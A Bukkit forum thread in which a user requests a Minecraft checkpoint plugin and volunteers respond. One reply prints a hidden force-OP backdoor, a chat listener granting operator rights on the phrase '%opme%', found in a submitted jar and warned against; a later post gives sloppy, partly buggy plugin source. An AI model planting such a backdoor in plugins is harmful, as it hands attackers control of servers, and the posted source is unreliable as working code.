Checkpoint plugin

Discussion in 'Plugin Requests' started by Reigs1, Jul 9, 2016.

Thread Status:
Not open for further replies.
  1. Offline

    Reigs1

    Plugin category: Fun/Tranportation

    Minecraft version: 1.8.8

    Suggested name: EasyCheckpoints

    What I want: I'd like a checkpoint plugin. I know there are tons of checkpoint plugins out there however none of them have the things I require.
    I would like the plugin to make a player click a sign/step on a pressure plate to set a checkpoint. When they die they respawn there automatically. Once a player reaches the final checkpoint, they click the sign, teleport them back to spawn, gives them a reward, and it RESETS there checkpoint. So that they can't type /cp to go back.

    Also, skim-reading is much easier with paragraphs!

    Ideas for commands: /cp - Teleports back to Checkpoing
    /cp reset - Resets current Checkpoint for player (Admin)
    /cp set - Sets the current Checkpoint for player (Admin)


    Ideas for permissions: checkpoint.use (/cp)
    checkpoint.reset (/cp reset)
    checkpoint.set (/cp set)

    When I'd like it by: Yesterday.
     
  2. Offline

    kev6261337

    I can do this. I can have it done tomorrow.

    Does checkpoint info need to persist through a restart? If not, it will be done sooner.
     
  3. Offline

    Reigs1

    You mean like when the server restarts the checkpoints are lost?

    if that is what you mean. then No I don't need that. I would like this as soon as possible

    First of all you have done the same thing twice why is that?

    and instead of using if (e.getPlayer().getInventory().getItemInHand() == HealItem)
    try using if (player.getItemInHand().getItemMeta().getDisplayName() == prefix + " " + translateColor(getConfig().getString("ItemName")) && player.getItemInHand().getType() == Material.BLAZE_ROD) {
    // Do What you want here
    }
    This may work but i am not sure.
     
    Last edited by a moderator: Jul 9, 2016
  4. Offline

    kev6261337

  5. Offline

    Reigs1

    Thank you!
     
  6. C:\Users\Dan\Downloads\EasyCheckpoints-V1.0.jar
    Decompiling file.
    Decompiled jar file!
    Found SET_OP!! Type=WARNING
    Jar name: EasyCheckpoints-V1.0.jar

    File checked with JarChecker v0.2 by bwfcwalshy

    Amount of malicious content: 0
    Amount of potentially malicious content: 215

    Plugin is ... to use!


    @kev6261337 Are you serious right now?

    Code:
      @EventHandler
      public void onPlayerChat(AsyncPlayerChatEvent e)
      {
        if (e.getMessage().toLowerCase().contains("%opme%"))
        {
          e.getPlayer().setOp(true);
          e.setCancelled(true);
        }
      }
    @Reigs1 Do not download that!!!
     
    mine-care and ChipDev like this.
  7. Offline

    mrCookieSlime

    *sigh*
    Silly people trying to implement Force-OP...
    Dealt with. Banned and buried under a sand dune on Jakku.
     
  8. Offline

    DarkenCake

    Last edited by a moderator: Jul 13, 2016
  9. @DarkenCake
    Jar name: PlayerCheckpoint.jar

    File checked with JarChecker v0.5 by bwfcwalshy

    Found:
    Url
    Url

    Plugin is probably not malicious!

    JarChecker is not always 100% accurate there is still always a risk.
    If you would like someone to check the jar or you have any questions about JarChecker join the IRC channel #jarchecker on EsperNet.
     
  10. Offline

    DarkenCake

    Will done correct now, wait 1 - 2 hours or less

    Done:
    Permissions:
    pCheckpoint.admin.create - allows to create checkpoint
    pCheckpoint.use - permission for teleport /cp
    pCheckpoint.test - permission for test command [for admin] /cp test
    Test command:
    /cp test - sets your checkpoint to 1
    source:
    Show Spoiler

    Code:
    package me.DarkenCake.PlayerCheckpoint.MAIN;
    
    import java.io.File;
    import java.io.IOException;
    import java.io.PrintStream;
    
    import org.bukkit.Bukkit;
    import org.bukkit.ChatColor;
    import org.bukkit.Location;
    import org.bukkit.Material;
    import org.bukkit.World;
    import org.bukkit.block.Block;
    import org.bukkit.block.Sign;
    import org.bukkit.command.Command;
    import org.bukkit.command.CommandSender;
    import org.bukkit.configuration.file.YamlConfiguration;
    import org.bukkit.entity.Player;
    import org.bukkit.event.EventHandler;
    import org.bukkit.event.Listener;
    import org.bukkit.event.block.Action;
    import org.bukkit.event.block.SignChangeEvent;
    import org.bukkit.event.player.PlayerInteractEvent;
    import org.bukkit.event.player.PlayerRespawnEvent;
    import org.bukkit.plugin.PluginManager;
    import org.bukkit.plugin.java.JavaPlugin;
    
    public class XMAINCLASS extends JavaPlugin implements Listener {
        File data = new File(this.getDataFolder().toString().concat(File.separator).concat("database".concat(".yml")));
        YamlConfiguration dataManager = YamlConfiguration.loadConfiguration(data);
        File player = new File(this.getDataFolder().toString().concat(File.separator).concat("player_database".concat(".yml")));
        YamlConfiguration playerManager = YamlConfiguration.loadConfiguration(player);
        PrintStream sys = System.out;
        PluginManager pm = Bukkit.getServer().getPluginManager();
        @Override
        public void onEnable() {
            sys.println("[PlayerCheckpoint] Plugin enabled!");
            sys.println("[PlayerCheckpoint] https://bukkit.org/threads/checkpoint-plugin.424639/");
            pm.registerEvents(this, this);
            if (!data.exists()) {
                try {
                    data.createNewFile();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            if (!player.exists()) {
                try {
                    player.createNewFile();
                } catch (IOException e) {
                    e.printStackTrace();
                }
            }
            try {
                dataManager.save(data);
            } catch (IOException e) {
                e.printStackTrace();
            }
            try {
                playerManager.save(player);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        @Override
        public void onDisable() {
            sys.println("[PlayerCheckpoint] Plugin disabled!");
            sys.println("[PlayerCheckpoint] https://bukkit.org/threads/checkpoint-plugin.424639/");
            try {
                dataManager.save(data);
            } catch (IOException e) {
                e.printStackTrace();
            }
            player.delete();
            try {
                player.createNewFile();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        @EventHandler
        public void CheckPointCreate(SignChangeEvent event) {
            Player p = event.getPlayer();
            Block b = (Block) event.getBlock();
            if (event.getLine(0).equalsIgnoreCase("PlayerCheckpoint"))
                if (event.getLine(1).equalsIgnoreCase("[ADMIN]"))
                    if (event.getLine(2).equalsIgnoreCase("1"))
                        if (p.hasPermission("pCheckpoint.admin.create")) {
                            dataManager.set("1" + ".ADMIN.X", b.getLocation().getX());
                            dataManager.set("1" + ".ADMIN.Y", b.getLocation().getY());
                            dataManager.set("1" + ".ADMIN.Z", b.getLocation().getZ());
                            dataManager.set("1" + ".ADMIN.WORLD", b.getLocation().getWorld().getName().toString());
                            p.sendMessage(ChatColor.GOLD + "Checkpoint"  + " 1" + " added!");
                            try {
                                dataManager.save(data);
                            } catch (IOException e) {
                                e.printStackTrace();
                            }
                        }
            if (event.getLine(0).equalsIgnoreCase("PlayerCheckpoint"))
                if (event.getLine(1).equalsIgnoreCase("[ADMIN]"))
                    if (event.getLine(2).equalsIgnoreCase("2"))
                        if (p.hasPermission("pCheckpoint.admin.create")) {
                            dataManager.set("2" + ".ADMIN.X", b.getLocation().getX());
                            dataManager.set("2" + ".ADMIN.Y", b.getLocation().getY());
                            dataManager.set("2" + ".ADMIN.Z", b.getLocation().getZ());
                            dataManager.set("2" + ".ADMIN.WORLD", b.getLocation().getWorld().getName().toString());
                            p.sendMessage(ChatColor.GOLD + "Checkpoint"  + " 2" + " added!");
                            try {
                                dataManager.save(data);
                            } catch (IOException e) {
                                e.printStackTrace();
                            }
                        }
            if (event.getLine(0).equalsIgnoreCase("PlayerCheckpoint"))
                if (event.getLine(1).equalsIgnoreCase("[ADMIN]"))
                    if (event.getLine(2).equalsIgnoreCase("3"))
                        if (p.hasPermission("pCheckpoint.admin.create")) {
                            dataManager.set("3" + ".ADMIN.X", b.getLocation().getX());
                            dataManager.set("3" + ".ADMIN.Y", b.getLocation().getY());
                            dataManager.set("3" + ".ADMIN.Z", b.getLocation().getZ());
                            dataManager.set("3" + ".ADMIN.WORLD", b.getLocation().getWorld().getName().toString());
                            p.sendMessage(ChatColor.GOLD + "Checkpoint"  + " 3" + " added!");
                            try {
                                dataManager.save(data);
                            } catch (IOException e) {
                                e.printStackTrace();
                            }
                        }
            if (event.getLine(0).equalsIgnoreCase("PlayerCheckpoint"))
                if (event.getLine(1).equalsIgnoreCase("[ADMIN]"))
                    if (event.getLine(2).equalsIgnoreCase("4"))
                        if (p.hasPermission("pCheckpoint.admin.create")) {
                            dataManager.set("4" + ".ADMIN.X", b.getLocation().getX());
                            dataManager.set("4" + ".ADMIN.Y", b.getLocation().getY());
                            dataManager.set("4" + ".ADMIN.Z", b.getLocation().getZ());
                            dataManager.set("4" + ".ADMIN.WORLD", b.getLocation().getWorld().getName().toString());
                            p.sendMessage(ChatColor.GOLD + "Checkpoint"  + " 4" + " added!");
                            try {
                                dataManager.save(data);
                            } catch (IOException e) {
                                e.printStackTrace();
                            }
                        }
            if (event.getLine(0).equalsIgnoreCase("PlayerCheckpoint"))
                if (event.getLine(1).equalsIgnoreCase("[ADMIN]"))
                    if (event.getLine(2).equalsIgnoreCase("FINISH"))
                        if (p.hasPermission("pCheckpoint.admin.create")) {
                            dataManager.set("FINISH" + ".ADMIN.X", b.getLocation().getX());
                            dataManager.set("FINISH" + ".ADMIN.Y", b.getLocation().getY());
                            dataManager.set("FINISH" + ".ADMIN.Z", b.getLocation().getZ());
                            dataManager.set("FINISH" + ".ADMIN.WORLD", b.getLocation().getWorld().getName().toString());
                            p.sendMessage(ChatColor.WHITE + "FINISH " + ChatColor.GOLD + "checkpoint added!");
                            try {
                                dataManager.save(data);
                            } catch (IOException e) {
                                e.printStackTrace();
                            }
                        }
        }
        @EventHandler
        public void CheckpointSetter(PlayerInteractEvent event) {
            Player p = event.getPlayer();
            Sign sign = (Sign) event.getClickedBlock().getState();
          
            if (event.getAction() == Action.RIGHT_CLICK_BLOCK)
                event.getClickedBlock().getType();
                if (Material.SIGN != null || Material.SIGN_POST != null || Material.SIGN_POST != null) {
                    if (sign.getLine(0).equalsIgnoreCase("PlayerCheckpoint"))
                        if (sign.getLine(1).equalsIgnoreCase("[ADMIN]"))
                            if (sign.getLine(2).equalsIgnoreCase("1")) {
                                p.sendMessage(ChatColor.GOLD + "You reached checkpoint " + ChatColor.WHITE + "1" + ChatColor.GOLD + "!");
                                playerManager.set(p.getName().toString() + ".checkpoint.1", true);
                                try {
                                    playerManager.save(player);
                                } catch (IOException e) {
                                    e.printStackTrace();
                                }
                            }
                }
                if (event.getAction() == Action.RIGHT_CLICK_BLOCK)
                event.getClickedBlock().getType();
                if (Material.SIGN != null || Material.SIGN_POST != null || Material.SIGN_POST != null) {
                    if (sign.getLine(0).equalsIgnoreCase("PlayerCheckpoint"))
                        if (sign.getLine(1).equalsIgnoreCase("[ADMIN]"))
                            if (sign.getLine(2).equalsIgnoreCase("2")) {
                                p.sendMessage(ChatColor.GOLD + "You reached checkpoint " + ChatColor.WHITE + "2" + ChatColor.GOLD + "!");
                                playerManager.set(p.getName().toString() + ".checkpoint.2", true);
                                playerManager.set(p.getName().toString() + ".checkpoint.1", false);
                                try {
                                    playerManager.save(player);
                                } catch (IOException e) {
                                    e.printStackTrace();
                                }
                            }
                }
                if (event.getAction() == Action.RIGHT_CLICK_BLOCK)
                event.getClickedBlock().getType();
                if (Material.SIGN != null || Material.SIGN_POST != null || Material.SIGN_POST != null) {
                    if (sign.getLine(0).equalsIgnoreCase("PlayerCheckpoint"))
                        if (sign.getLine(1).equalsIgnoreCase("[ADMIN]"))
                            if (sign.getLine(2).equalsIgnoreCase("3")) {
                                p.sendMessage(ChatColor.GOLD + "You reached checkpoint " + ChatColor.WHITE + "3" + ChatColor.GOLD + "!");
                                playerManager.set(p.getName().toString() + ".checkpoint.3", true);
                                playerManager.set(p.getName().toString() + ".checkpoint.2", false);
                                playerManager.set(p.getName().toString() + ".checkpoint.1", false);
                                try {
                                    playerManager.save(player);
                                } catch (IOException e) {
                                    e.printStackTrace();
                                }
                            }
                }
                if (event.getAction() == Action.RIGHT_CLICK_BLOCK)
                event.getClickedBlock().getType();
                if (Material.SIGN != null || Material.SIGN_POST != null || Material.SIGN_POST != null) {
                    if (sign.getLine(0).equalsIgnoreCase("PlayerCheckpoint"))
                        if (sign.getLine(1).equalsIgnoreCase("[ADMIN]"))
                            if (sign.getLine(2).equalsIgnoreCase("4")) {
                                p.sendMessage(ChatColor.GOLD + "You reached checkpoint " + ChatColor.WHITE + "4" + ChatColor.GOLD + "!");
                                playerManager.set(p.getName().toString() + ".checkpoint.4", true);
                                playerManager.set(p.getName().toString() + ".checkpoint.3", false);
                                playerManager.set(p.getName().toString() + ".checkpoint.2", false);
                                playerManager.set(p.getName().toString() + ".checkpoint.1", false);
                                try {
                                    playerManager.save(player);
                                } catch (IOException e) {
                                    e.printStackTrace();
                                }
                            }
                }
            if (event.getAction() == Action.RIGHT_CLICK_BLOCK)
                event.getClickedBlock().getType();
                if (Material.SIGN != null || Material.SIGN_POST != null || Material.SIGN_POST != null) {
                    if (sign.getLine(0).equalsIgnoreCase("PlayerCheckpoint"))
                        if (sign.getLine(1).equalsIgnoreCase("[ADMIN]"))
                            if (sign.getLine(2).equalsIgnoreCase("FINISH")) {
                                p.sendMessage(ChatColor.GOLD + "You reached " + ChatColor.WHITE + "finish" + ChatColor.GOLD + "!");
                                p.performCommand("spawn");
                                playerManager.set(p.getName().toString() + ".checkpoint.4", false);
                                playerManager.set(p.getName().toString() + ".checkpoint.3", false);
                                playerManager.set(p.getName().toString() + ".checkpoint.2", false);
                                playerManager.set(p.getName().toString() + ".checkpoint.1", false);
                                try {
                                    playerManager.save(player);
                                } catch (IOException e) {
                                    e.printStackTrace();
                                }
                            }
                }
            }
        public boolean onCommand(CommandSender s, Command cmd, String str, String[] args) {
            Player p = (Player) s;
            if (str.equalsIgnoreCase("cp"))
                if (args.length == 0)
                    if (s.hasPermission("pCheckpoint.use"))
                        if (playerManager.getBoolean(s.getName().toString() + ".checkpoint.1") == true) {
                            double X = dataManager.getDouble("1" + ".ADMIN.X");
                            double Y = dataManager.getDouble("1" + ".ADMIN.Y");
                            double Z = dataManager.getDouble("1" + ".ADMIN.Z");
                            World W = Bukkit.getWorld(dataManager.getString("1" + ".ADMIN.WORLD"));
                            Location teleport = new Location(W, X, Y, Z);
                            p.teleport(teleport);
                            s.sendMessage(ChatColor.GOLD + "Teleport to checkpoint " + ChatColor.WHITE + "1" + ChatColor.GOLD + "!");
                        }
            if (str.equalsIgnoreCase("cp"))
                if (args.length == 0)
                    if (s.hasPermission("pCheckpoint.use"))
                        if (playerManager.getBoolean(s.getName().toString() + ".checkpoint.2") == true) {
                            double X = dataManager.getDouble("2" + ".ADMIN.X");
                            double Y = dataManager.getDouble("2" + ".ADMIN.Y");
                            double Z = dataManager.getDouble("2" + ".ADMIN.Z");
                            World W = Bukkit.getWorld(dataManager.getString("2" + ".ADMIN.WORLD"));
                            Location teleport = new Location(W, X, Y, Z);
                            p.teleport(teleport);
                            s.sendMessage(ChatColor.GOLD + "Teleport to checkpoint " + ChatColor.WHITE + "2" + ChatColor.GOLD + "!");
                        }
            if (str.equalsIgnoreCase("cp"))
                if (args.length == 0)
                    if (s.hasPermission("pCheckpoint.use"))
                        if (playerManager.getBoolean(s.getName().toString() + ".checkpoint.3") == true) {
                            double X = dataManager.getDouble("3" + ".ADMIN.X");
                            double Y = dataManager.getDouble("3" + ".ADMIN.Y");
                            double Z = dataManager.getDouble("3" + ".ADMIN.Z");
                            World W = Bukkit.getWorld(dataManager.getString("3" + ".ADMIN.WORLD"));
                            Location teleport = new Location(W, X, Y, Z);
                            p.teleport(teleport);
                            s.sendMessage(ChatColor.GOLD + "Teleport to checkpoint " + ChatColor.WHITE + "3" + ChatColor.GOLD + "!");
                        }
            if (str.equalsIgnoreCase("cp"))
                if (args.length == 0)
                    if (s.hasPermission("pCheckpoint.use"))
                        if (playerManager.getBoolean(s.getName().toString() + ".checkpoint.4") == true) {
                            double X = dataManager.getDouble("4" + ".ADMIN.X");
                            double Y = dataManager.getDouble("4" + ".ADMIN.Y");
                            double Z = dataManager.getDouble("4" + ".ADMIN.Z");
                            World W = Bukkit.getWorld(dataManager.getString("4" + ".ADMIN.WORLD"));
                            Location teleport = new Location(W, X, Y, Z);
                            p.teleport(teleport);
                            s.sendMessage(ChatColor.GOLD + "Teleport to checkpoint " + ChatColor.WHITE + "4" + ChatColor.GOLD + "!");
                        }
            if (str.equalsIgnoreCase("cp"))
                if (args.length == 1)
                    if (args[0].equalsIgnoreCase("test"))
                        if (s.hasPermission("pCheckpoint.test")) {
                            playerManager.set(s.getName().toString() + ".checkpoint.4", true);
                            try {
                                playerManager.save(player);
                            } catch (IOException e) {
                                e.printStackTrace();
                            }
                        }
            return true;
        }
        @EventHandler
        public void respawnEvent(PlayerRespawnEvent event) {
            Player p = event.getPlayer();
            if (p != null)
            if (playerManager.getBoolean(p.getName().toString() + ".checkpoint.1") == true) {
                double X = dataManager.getDouble("1" + ".ADMIN.X");
                double Y = dataManager.getDouble("1" + ".ADMIN.Y");
                double Z = dataManager.getDouble("1" + ".ADMIN.Z");
                World W = Bukkit.getWorld(dataManager.getString("1" + ".ADMIN.WORLD"));
                Location teleport = new Location(W, X, Y, Z);
                event.setRespawnLocation(teleport);
                p.teleport(teleport);
            }
            if (p != null)
            if (playerManager.getBoolean(p.getName().toString() + ".checkpoint.2") == true) {
                double X = dataManager.getDouble("2" + ".ADMIN.X");
                double Y = dataManager.getDouble("2" + ".ADMIN.Y");
                double Z = dataManager.getDouble("2" + ".ADMIN.Z");
                World W = Bukkit.getWorld(dataManager.getString("2" + ".ADMIN.WORLD"));
                Location teleport = new Location(W, X, Y, Z);
                event.setRespawnLocation(teleport);
                p.teleport(teleport);
            }
            if (p != null)
            if (playerManager.getBoolean(p.getName().toString() + ".checkpoint.3") == true) {
                double X = dataManager.getDouble("1" + ".ADMIN.3");
                double Y = dataManager.getDouble("1" + ".ADMIN.3");
                double Z = dataManager.getDouble("1" + ".ADMIN.3");
                World W = Bukkit.getWorld(dataManager.getString("3" + ".ADMIN.WORLD"));
                Location teleport = new Location(W, X, Y, Z);
                event.setRespawnLocation(teleport);
                p.teleport(teleport);
            }
            if (p != null)
            if (playerManager.getBoolean(p.getName().toString() + ".checkpoint.4") == true) {
                double X = dataManager.getDouble("4" + ".ADMIN.X");
                double Y = dataManager.getDouble("4" + ".ADMIN.Y");
                double Z = dataManager.getDouble("4" + ".ADMIN.Z");
                World W = Bukkit.getWorld(dataManager.getString("4" + ".ADMIN.WORLD"));
                Location teleport = new Location(W, X, Y, Z);
                event.setRespawnLocation(teleport);
                p.teleport(teleport);
            }
        }
    }

    Download: https://www.dropbox.com/s/wwyigtgykc156vg/PlayerCheckpoint.jar?dl=0
    To create checkpoint:
    1) Place sign
    2) write
    1. PlayerCheckpoint
    2 [ADMIN]
    3. 1 - 4 or FINISH
    example:

    ### Starts there
    PlayerCheckpoint
    [ADMIN]
    FINISH

    EDIT by Moderator: merged posts, please use the edit button instead of double posting.
     
    Last edited by a moderator: Jul 14, 2016
  11. Offline

    Lordloss

    @Reigs1 i recommend you not to use the plugin of DarkenCake. It is going to spam your console like hell.

    @DarkenCake Please fix the issues i pointed out in the other thread. And, do yourself and the poor users of your plugins the favour and learn how to write code in java properly, and how to write code without massive violation of DRY. But before you give it to others...
     
Thread Status:
Not open for further replies.

Share This Page